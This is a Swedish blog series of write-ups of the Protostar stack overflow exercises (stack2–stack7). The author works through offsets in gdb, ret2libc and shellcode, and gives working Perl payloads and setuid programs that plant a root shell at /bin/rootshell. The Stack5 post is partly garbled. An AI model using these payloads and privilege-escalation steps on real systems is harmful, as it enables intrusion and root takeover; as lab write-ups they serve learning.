Protostar och stack övningarna

Om någon undrar så tog det ett par timmar att exploitera stack0-stack7. Inte för att de var svåra men det var ett tag sedan man satt och skrev exploiter. Det var det nästan 17 år sedan jag läste smashing-the-stack för fun and profit och skrev min första exploit.
Sen har det helt ärligt inte blivit så mycket exploitskrivande. Men kändes som att det var dags igen. Och dessa övningar var ju ett roligt sätt att komma igång med det igen.

Nu när stack övningarna är klara så är det vidare med format strings och heap vuln.

Och sen var det nog net men det kan jag tänka mig är samma sak fast att det är en nätverksservice som står och svarar.

Ska bliroligt att läsa på lite mer om ASLR men det kommer inte förrän i Fusion. Inte skrivit någon exploit där jag var tvungen att ta i hänsyn ASLR. Så det ska bli roligt. Men det kommer när det kommer.

Publicerat i Okategoriserade | Lämna en kommentar

Protostar och stack7

Stack7

Så fick lite tid över idag och vad är bättre än att fixa med stack7. Det var några veckor sedan jag satt med de andra. Gjorde stack0-stack6 samma dag. Så saker och ting ligger inte så friskt i minnet 😉

Ok, nu ska vi exekvera instruktioner som ligger i .text av binären. Och vad finns i .text jo det är så klart instruktionerna för programmet som ligger där och har det roligt.
Så vad letar vi efter där då.
Jo vi får väl starta med att se om vi hittar några jmp esp

Så slängde iväg
msfelfscan -j esp

Hittade inga, så testar att köra msfelfscan -p

msfelfscan -p /root/stack7
[/root/stack7]
0x08048492 pop ebx; pop ebp; ret
0x080485c7 pop edi; pop ebp; ret
0x080485f7 pop ebx; pop ebp; ret

Ok då ska vi bygga ihop något som är roligt att titta på.
Offset och så börjar vi med och eftersom jag det var ett tag sedan jag gjorde de andra uppgifterna så var det lika bra att ta och köra igenom med pattern_create mm.

(gdb) run
Starting program: /opt/protostar/bin/stack7
input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? ()

Och svaret blev
/usr/share/metasploit-framework/tools/pattern_offset.rb 0x37634136
[*] Exact match at offset 80

Ok så efter 80 så behöver vi slänga in vad EIP ska vara och då får den inte vara i 0xb0000000

Och det är ju inte resultaten från msfelfscan.

Så då slänger vi ihop en exploit. Tar och tittar tillbaka på Stack5 och tar koden därifrån 😉

user@protostar:/opt/protostar/bin$ perl -e ‘print ”a”x76 . ”\xe0\xf7\xff\xbf” . ”\x90″x20 . ”\xba\x7c\xcb\xf1\x7a\xda\xc5\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x83\xe8\xfc\x31\x50\x11\x03\x50\x11\xe2\x89\xa1\xfa\x22\xe8\x64\x9b\xba\x27\xea\xea\xdc\x5f\xc3\x9f\x4a\x9f\x73\x4f\xe9\xf6\xed\x06\x0e\x5a\x1a\x10\xd1\x5a\xda\x0e\xa5\x37\xaa\x7f\x36\xaf\x4a\xd7\xeb\xa6\xaa\x1a\x8b”‘ | /opt/protostar/bin/stack5
och då kör den /tmp/sh som var

user@protostar:/tmp$ cat sh.c rootshell.c
#include
void main() {
setuid(0);
setgid(0);
system(”cp /tmp/rootshell /bin/rootshell”);
system(”chmod 4755 /bin/rootshell”);

}

och rootshell.c
#include

void main() {

setuid(0);
setgid(0);
system(”/bin/bash”);
}

Då ska vi slänga ihop detta för att få det att exekvera.

perl -e ‘print ”A”x80 . ”\x92\x84\x04\x08″ . ”\x90″x10 . ”\xba\x7c\xcb\xf1\x7a\xda\xc5\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x83\xe8\xfc\x31\x50\x11\x03\x50\x11\xe2\x89\xa1\xfa\x22\xe8\x64\x9b\xba\x27\xea\xea\xdc\x5f\xc3\x9f\x4a\x9f\x73\x4f\xe9\xf6\xed\x06\x0e\x5a\x1a\x10\xd1\x5a\xda\x0e\xa5\x37\xaa\x7f\x36\xaf\x4a\xd7\xeb\xa6\xaa\x1a\x8b”‘ | /opt/protostar/bin/stack7

Ok det fungerade ej så får sätta igång att core dumpas
echo ”2” >/proc/sys/fs/suid_dumpable och sen köra ulimit -c unlimited
Och då ser vi att programmet stoppas eftersom det finns lite NOPAR i EIP. Och det måste ju vara en adress som ska hoppas till.
jaja men då letar vi upp adressen. Det ser ut som att den är
0xbffff7d4: 0xf1cb7cba 0xd9c5da7a 0x58f42474 0x0bb1c92b
0xbffff7e4: 0x31fce883 0x50031150 0xa189e211 0x64e822fa
Och det ska komma efter 8 bytes. Så vi ändrar lite

Så då får vi helt enkelt skriva om det hela

perl -e ‘print ”A”x80 . ”\x92\x84\x04\x08″ . ”\A”x8 . ”\xd4\xf7\xff\xbf” . ”\xba\x7c\xcb\xf1\x7a\xda\xc5\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x83\xe8\xfc\x31\x50\x11\x03\x50\x11\xe2\x89\xa1\xfa\x22\xe8\x64\x9b\xba\x27\xea\xea\xdc\x5f\xc3\x9f\x4a\x9f\x73\x4f\xe9\xf6\xed\x06\x0e\x5a\x1a\x10\xd1\x5a\xda\x0e\xa5\x37\xaa\x7f\x36\xaf\x4a\xd7\xeb\xa6\xaa\x1a\x8b”‘ | /opt/protostar/bin/stack7

Efter lite kollande på stacken och lite ändrande så för att göra det lättare att hitta vart på stacken jag peka så slängde jag till lite NOP’ar och ändrade även koden till följande.

user@protostar:/opt/protostar/bin$ perl -e ‘print ”A”x80 . ”\x92\x84\x04\x08″ . ”\B”x8 . ”\xcc\xf7\xff\xbf” . ”\x90″x20 . ”\xba\x7c\xcb\xf1\x7a\xda\xc5\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x83\xe8\xfc\x31\x50\x11\x03\x50\x11\xe2\x89\xa1\xfa\x22\xe8\x64\x9b\xba\x27\xea\xea\xdc\x5f\xc3\x9f\x4a\x9f\x73\x4f\xe9\xf6\xed\x06\x0e\x5a\x1a\x10\xd1\x5a\xda\x0e\xa5\x37\xaa\x7f\x36\xaf\x4a\xd7\xeb\xa6\xaa\x1a\x8b”‘ | /opt/protostar/bin/stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¦AAAAAAAAAAAA¦BBBBBBBB¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦|¦¦z¦¦¦t$¦X+?
¦¦¦1PP=¦”¦d¦¦’¦¦¦_ßJ¦sO¦¦¦Z¦Z¦¦76¦J¦?¦
user@protostar:/opt/protostar/bin$ ls -al /bin/rootshell
-rwsr-xr-x 1 root root 4733 Jun 26 08:10 /bin/rootshell

Finns även andra sätt att slänga ihop denna exploit och även hitta ROP adresser att hoppa till som sen förhoppningvis hade exekverat min kod. Och jag skulle ju även kunnat egentligen ändrat stack6 och släng in en ROP till samma sak och kört ett system kommando.

Men men. Nu börjar det blir dags för format

Publicerat i Okategoriserade | Lämna en kommentar

Protostar och stack6

Dags för stack6

Stack6

Ok här kan vi inte exekvera kod som ligger inom 0xbf. Detta då följande
ret = __builtin_return_address(0);

if((ret & 0xbf000000) == 0xbf000000) {
printf(”bzzzt (%p)\n”, ret);
_exit(1);
}
förhindrar det hela.

Så det lättaste är nog att exekvera något som inte finns i stacken. Utan tex som de skriver en ret2libc.
Och då ska vi först leta upp adressen till system.

user@protostar:/opt/protostar/bin$ gdb /opt/protostar/bin/stack6
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type ”show copying”
and ”show warranty” for details.
This GDB was configured as ”i486-linux-gnu”.
For bug reporting instructions, please see:

Reading symbols from /opt/protostar/bin/stack6…done.
(gdb) break 1
Breakpoint 1 at 0x804848a: file stack6/stack6.c, line 1.
(gdb) run
Starting program: /opt/protostar/bin/stack6

Breakpoint 1, getpath () at stack6/stack6.c:11
11 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) print system
$1 = {} 0xb7ecffb0 <__libc_system>
(gdb)
Sen måste vi vet hur system fungerar och det är helt enkelt genom att
system(”/tmp/sh”);
Så det är en parameter
Så vi slänger först in 0xb7ecffb0 efterföljt av en retur adress för funktionen system. Och eftersom vi itne bryr oss om den så kör vi med bbbb och sen adressen till variabeln /tmp/sh

Så vi exporterar export TMPSHELL=” /tmp/sh”
Space fungerar lite som NOP’arna när vi försökte exekvera kod på stacken fast nu ska vi exkevera ett kommado.
Ok, då ska vi leta upp TMPSHELL
För att göra det så lätt som möjligt så använder vi getenvaddr från The art of exploitation boken.
#include
#include
#include

int main(int argc, char *argv[]) {
char *ptr;

if(argc < 3) { printf("Usage: %s \n”, argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) – strlen(argv[2]))*2; /* adjust for program name */
printf(”%s will be at %p\n”, argv[1], ptr);
}

Och då säger den
user@protostar:/tmp$ getenvaddr TMPSHELL /optt/protostar/bin/stack6
TMPSHELL will be at 0xbfffff9f
Fast man kanske ska skriva rätt så blir det istället.
user@protostar:/tmp$ getenvaddr2 TMPSHELL /opt/protostar/bin/stack6
TMPSHELL will be at 0xbfffffa1

Ok då har vi 0xb7ecffb0 efterföljt av bbbb efterföljt av 0xbfffffa1 så bör det räcka.
Fast först ska vi veta hur lång bufferten är
Så gdb /opt/protostar/bin/stack6
(gdb) run
Starting program: /opt/protostar/bin/stack6
input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? ()

Och sen med lite pattern_offset.rb så får vi reda på att det är 80 skräptecken för att fylla bufferten

Får inte exploiten att f ungera så testar får se om min tmpshell verkligen finns där den ska finnas.

0xbfffffa2: ”TMPSHELL=”, ‘ ‘ , ”/tmp/sh”
Fixade en coredump och visar sig att den inte var där vi trodde.
Så nu när det är hittat så ändrar vi koden

perl -e ‘print ”A”x80 . ”\xb0\xff\xec\xb7″ . ”aaaa” . ”\xb3\xff\xff\xbf”‘ | /opt/protostar/bin/stack6

Och /tmp/sh är
#include
void main() {
setuid(0);
setgid(0);
system(”cp /tmp/rootshell /bin/rootshell”);
system(”chmod 4755 /bin/rootshell”);

}

Och /tmp/rootshell är
#include

void main() {

setuid(0);
setgid(0);
system(”/bin/bash”);
}

Så då var ret2libc löst.

Tror det var allt för idag. Så får fortsätta någongång senare.

Publicerat i Okategoriserade | Lämna en kommentar

Protostar och Stack5

Stack5

Nu ska vi exekvera kod på stacken. Så samma sak som innan slänger in outputen från pattern_create och får reda på att offset är 76

Vi vill ha källkod för linux/x86/exec och vi vill exekvera /bin/sh (till en start). Vi vill ha det i perl output.

Men innan vi slänger ut shellkoden så måste vi ha bad characters.
Och eftersom vi ska visa så fint så gör vi en fin fil med alla characters

Så slänger igång
#!/usr/bin/perl
for ($a = 0; $a <= 255; $a++) { print '\x' . sprintf("%02x", $a); } Och då kommer följande ut \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff Och sen ska vi slänga upp detta på stacken och se vart det slutar. Så vi kör perl -e 'print "a"x84 . "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe"' >/tmp/koder

Och eftersom jag vet at 0x00 och 0xff är bad characters så tar jag bort dessa innan vi gör det.
Sen gdb ./stack05
run /tmp/koder

sen i gdb så kör vi
run /tmp/runleve2

I gdb får vi
(gdb) run
void main() {
setuid(0);
setgid(0);
system(”cp /tmp/rootshell /bin/rootshell”);
system(”chmod 4755 /bin/rootshell”);

}

Och källkoden till /tmp/rootshell
#include

void main() {

setuid(0);
setgid(0);
system(”/bin/bash”);
}
Verkligen inte den snyggaste lösningen men en fungerande lösning åtminstone :)

Publicerat i Okategoriserade | Lämna en kommentar

Protostar och stack4

Stack4

Ok skiljer sig inte så mycket från förra men vi slänger in lite tecken så testar
perl -e ‘print ”a”x69′ | ./stack4
Händer inget
user@protostar:/opt/protostar/bin$ perl -e ‘print ”a”x79′ | ./stack4
Segmentation fault
Så då är det som det står compiler padding. Och vad gör man då.
Jo pattern_create.rb 100 (från metasploit).
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Och så slänger vi in det i gdb
(gdb) run
Starting program: /opt/protostar/bin/stack4
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
Sen pattern_offset.rb 0x63413563
Och det blir 76
Så då ska vi trycka in 76 a och sen skriva över EIP till win funktionen då testar vi det.
nm stack4
080483f4 T win

user@protostar:/opt/protostar/bin$ perl -e ‘print ”a”x76 . ”\xf4\x83\x04\x08″‘ | ./stack4

code flow successfully changed
Segmentation fault
Worked like a charm.

Publicerat i Okategoriserade | Lämna en kommentar

Protostar och stack3

Stack3

Nu blev det lite jobbigare :)
user@protostar:/opt/protostar/bin$ perl -e ‘print ”a”x64′ | ./stack3 user@protostar:/opt/protostar/bin$

Ska se vart funktionen win() finns i minnet. Och nu är ju ASLR avstängd så den blir ju lätt att hitta.
Så nm stack3
så hittar vi vart win funktionen är i minnet.
08048424 T win
Så då slänger vi in det i EIP.
user@protostar:/opt/protostar/bin$ perl -e ‘print ”a”x64 . ”\x24\x84\x04\x08″‘ | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

Publicerat i Okategoriserade | Lämna en kommentar

Protostar och stack2

Stack2

I princip samma sak fast nu ska man sätta en variabel.
Så vi slänger upp
user@protostar:/opt/protostar/bin$ export GREENIE=$(perl -e ‘print ”a”x67′) ; ./stack2
Try again, you got 0x00616161

Och sen så ska vi se till att modified matchar 0x0d0a0d0a
Så då ändrar vi samma sak som innan

user@protostar:/opt/protostar/bin$ export GREENIE=$(perl -e ‘print ”a”x64 . ”\x0a\x0d\x0a\x0d”‘) ; ./stack2
you have correctly modified the variable

Publicerat i Okategoriserade | Lämna en kommentar